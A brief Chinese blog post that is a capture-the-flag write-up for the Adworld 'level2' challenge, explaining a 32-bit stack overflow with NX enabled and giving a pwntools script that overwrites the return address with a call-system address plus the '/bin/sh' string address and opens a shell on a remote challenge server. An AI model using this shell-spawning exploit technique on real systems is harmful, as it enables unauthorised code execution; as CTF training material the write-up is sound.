攻防世界(9):level2

查壳,只开了NX,可以利用栈溢出

level0是直接覆盖到运行system('/bin/sh')的函数,level2是先覆盖到call system的地址,然后覆盖/bin/sh

注意,如果覆盖的是system的地址,则要加上四位覆盖call之后的eip压栈,运行gdb可以看到eip压栈

shift+F12查找/bin/sh

写exp

#!/usr/bin/env python
from pwn import *
p = remote("111.200.241.244",52370)
sys_addr = 0x0804849E
binsh = 0x0804A024
payload = 'A' * 0x88 + 'a' * 0x4 + p32(sys_addr)+p32(binsh)
p.recvuntil("")
p.sendline(payload)
p.interactive()
posted @ 2021-02-26 16:29  triplewings  阅读(87)  评论(0编辑  收藏  举报